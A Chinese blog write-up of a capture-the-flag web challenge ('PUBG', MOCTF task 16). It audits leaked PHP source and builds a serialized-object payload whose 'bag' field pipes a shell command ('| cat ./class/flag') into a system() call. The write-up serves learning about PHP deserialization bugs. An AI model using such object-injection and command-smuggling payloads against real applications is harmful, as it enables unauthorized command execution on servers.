MOCTF(第16题)

为了接着之前的博客,还是觉得要在这里写完,因为后面的博客我都放到自己的github博客上去啦~

第16题:PUBG

开局一张图
在这里插入图片描述
这个是点击学校的按键后得到的
(其他都是diedie的)
在这里插入图片描述
然后就可以看到源码泄露的情况
接着将index.php.bak点击后,下载
接着可以审计源码

<?php
    error_reporting(0);
    include 'class.php';
    if(is_array($_GET)&&count($_GET)>0)
    {
        if(isset($_GET["LandIn"]))
        {
            $pos=$_GET["LandIn"];
        }
        if($pos==="airport")
        {
            die("<center>机场大仙太多,你被打死了~</center>");
        }
        elseif($pos==="school")
        {
            echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
            $pubg=$_GET['pubg'];
            $p = unserialize($pubg);
            // $p->Get_air_drops($p->weapon,$p->bag);
        }
        elseif($pos==="AFK")
        {
            die("<center>由于你长时间没动,掉到海里淹死了~</center");
        }
        else
        {
            die("<center>You Lose</center>");
            
        }
    }
?>

发现我们在传入pos=school的同时要赋值给pubg一个参数(同时是序列化后的)

然后发现其中的class.php,去尝试获取一波源码,emmmm接着就成功了

<?php
    include 'waf.php';
    class sheldon{
        public $bag="nothing";
        public $weapon="M24";
        // public function __toString(){
        //     $this->str="You got the airdrop";
        //     return $this->str;
        // }
        public function __wakeup()
        {
            $this->bag="nothing";
            $this->weapon="kar98K";
        }
        public function Get_air_drops($b)
        {
                $this->$b();
        }
        public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }
        public function nothing()
        {
            die("<center>You lose</center>");
        }
        public function __destruct()
        {
            waf($this->bag);
            if($this->weapon==='AWM')
            {
                $this->Get_air_drops($this->bag);
            }
            else
            {
                die('<center>The Air Drop is empty,you lose~</center>');
            }
        }
    }
?>

开始分析这个一长串的源码:
(1)有一个叫做Sheldon的类,里面有两个公有成员 $bag和 $weapon
(2)其中有五个成员函数:
function __wakeup()
function Get_air_drops( $b )
function __call( $method, $parameters )
function nothing()
function __destruct()
这个是大的一个结构的角度来分析的,接着慢慢来分析

之前index.php中需要传入一个序列化的对象且class.php中正好只有一个Sheldon的类,故可构造一个Sheldon的对象。

而且看到其中的成员函数有几个为魔法函数,接着就可以去一个个了解他们的特性。

首先__wakeup()是在其对象反序列化的时候自动调用,故在之前的index.php中,我们构造的Sheldon对象且反序列化之后,在此对象的内部将会自动调用_wakeup()函数
同时该对象的成员变量会变成:
在这里插入图片描述

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

接着再看_call()函数
在对象中调用了一个不可以访问的方法时,call()函数将会被调用,同时其中的method参数为后面由我们传入的不存在的方法。

在对象中调用一个不可访问方法时,__call() 会被调用。

在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。

在__call函数中:
在这里插入图片描述

因此为了满足if的条件,需要将method赋值要注意,原因是后面有提示:
在这里插入图片描述
故给method赋值为://win.php+blablabla

file[0]在经过 $ file = explode(".",$method);函数后变为 //win 也就是说为 .//class//win.php(而这个文file肯定是存在的,也就绕过了if)。
.
接着看 __destruct()函数
在这里插入图片描述

在此函数中,如果wepon===AWM,则执行bag变量引导的函数,故给bag赋值一个不存在的函数,然后执行

此时所有的函数都被分析完成了,回过头来总结一下,就可以写一个payload脚本了(在原来的class.php中增加修改即可)

		public $bag="//win.php| cat ./class/flag";
        public $weapon="AWM";
这里的关键在于"|",这个管道符号之后的命令会执行。所以cat到flag.php的内容并打印出来了。

在代码的最后插入

$a = new sheldon();
print_r(serialize($a));

然后脚本跑出来的东西是:
O:7:"sheldon":2:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}//win

接着就可以尝试去跑了!
在这里插入图片描述
最后就拿到flag了。

这道题费了我好久的时间才弄懂魔法函数的一个过程

菜鸡还是菜鸡…

参考了:https://www.cnblogs.com/Pinging/p/8445708.html
的blog

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值